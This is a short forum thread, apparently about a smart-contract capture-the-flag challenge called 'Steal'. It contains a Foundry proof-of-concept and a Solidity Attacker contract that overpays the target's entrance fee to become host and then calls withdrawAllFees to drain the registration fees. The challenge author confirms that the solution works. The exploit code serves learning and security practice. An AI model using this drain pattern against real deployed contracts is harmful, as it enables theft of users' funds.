Steal

[passandscore]

Steal

Drain all registration fees from the contract.

Author: X_Drained

[Chinwuba22]

Look forward to seeing solutions. You could also drop questions if anything is not clear.

[passandscore]

Here is my attack. Does it meet your requirements?

POC.t.sol

  //CODE YOUR SOLUTION HERE
        address payable target = payable(address(challenge));
        Attacker attacker = new Attacker(target);
        vm.deal(address(attacker), 1 ether);
        attacker.attack();

Attack Contract

// SPDX-License-Identifier: MIT

import {Challenge} from "./Challenge.sol";

contract Attacker {
    Challenge immutable targetContract;

    constructor(address payable target) {
        targetContract = Challenge(target);
    }

    function attack() external payable {
        uint256 amount = targetContract.ENTRANCE_FEE() * 5 + 1 wei;

        require(address(this).balance >= amount, "Insufficient balance for attack");

        // Sending ether to become the host
        address payable addr = payable(address(targetContract));
        (bool success, ) = addr.call{value: amount}("");
        require(success, "Transfer failed");

        // As the host, withdraw the fees
        targetContract.withdrawAllFees();
    }

    // Accept Ether
    receive() external payable {}
}

[Chinwuba22]

YES IT DOES